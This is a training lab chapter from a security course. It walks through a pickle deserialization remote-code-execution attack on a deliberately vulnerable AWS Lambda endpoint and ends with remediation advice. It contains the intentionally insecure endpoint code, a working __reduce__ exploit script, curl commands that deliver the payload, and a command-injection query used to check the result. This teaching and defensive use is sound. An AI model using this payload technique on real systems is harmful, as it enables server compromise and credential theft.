Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Lab: Pickle RCE

Objective

Achieve Remote Code Execution on the Lambda function by sending a malicious pickle payload.

Why This Matters

Python’s pickle.loads() executes arbitrary code during deserialization. If an application unpickles data from a user, the attacker controls what code runs on the server. This is not a bug in pickle — it is how pickle works. The bug is trusting user input.

Real-world examples: ML platforms that load untrusted .pkl model files, web applications that accept pickled session data, and data pipelines that deserialize messages from external sources.

The Vulnerable Code

The /deserial endpoint accepts a base64-encoded pickle payload and loads it directly:

@app.route('/deserial', methods=['POST'])
def deserial():
    data = base64.urlsafe_b64decode(request.form['pickled'])
    pickle.loads(data)    # executes arbitrary code
    return 'pickled successfully', 200

No validation, no sanitization. Whatever object the payload contains gets deserialized and its code runs.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Step 1 — Create the exploit script

In your Codespace terminal, create a file called exploit.py:

cat > ~/exploit.py << 'EOF'
import pickle, base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload)
EOF

The __reduce__ method tells pickle how to reconstruct the object. We made it call os.system('touch /tmp/pwned') — this creates a file on the Lambda filesystem to prove we have code execution.

Step 2 — Generate the payload

python3 ~/exploit.py

Copy the base64 string from the output.

Step 3 — Send the payload

curl -X POST "$ENDPOINT/deserial" \
  -d "pickled=$(python3 exploit.py)"

Expected response: pickled successfully

The Lambda deserialized our object and ran os.system('touch /tmp/pwned').

Step 4 — Verify code execution

Use the command injection endpoint to check if our file was created:

curl "$ENDPOINT/date?exec=ls%20-la%20/tmp/pwned"

Expected output:

{"output":"-rw-rw-r-- 1 sbx_user1051 990 0 Oct  6 11:10 /tmp/pwned\n"}

The file exists. We achieved Remote Code Execution through deserialization.

Step 5 — Understand the full impact

touch /tmp/pwned is a harmless proof of concept. In a real attack, the payload could:

  • Run printenv to steal AWS credentials (just like the command injection lab)
  • Download and execute a reverse shell
  • Read application source code and configuration
  • Exfiltrate data to an attacker-controlled server

Any command that works in the command injection lab works here too — the difference is the entry point.

What Happened

pickle.loads() on untrusted input is equivalent to eval(). The __reduce__ method lets an attacker define arbitrary code that runs automatically when the object is deserialized.

Fix: Never use pickle.loads() on data from users or external sources. Use safe serialization formats like JSON. If you must deserialize structured data, use schema-validated formats (JSON Schema, Pydantic, marshmallow). For ML models, use ONNX or SafeTensors instead of pickle.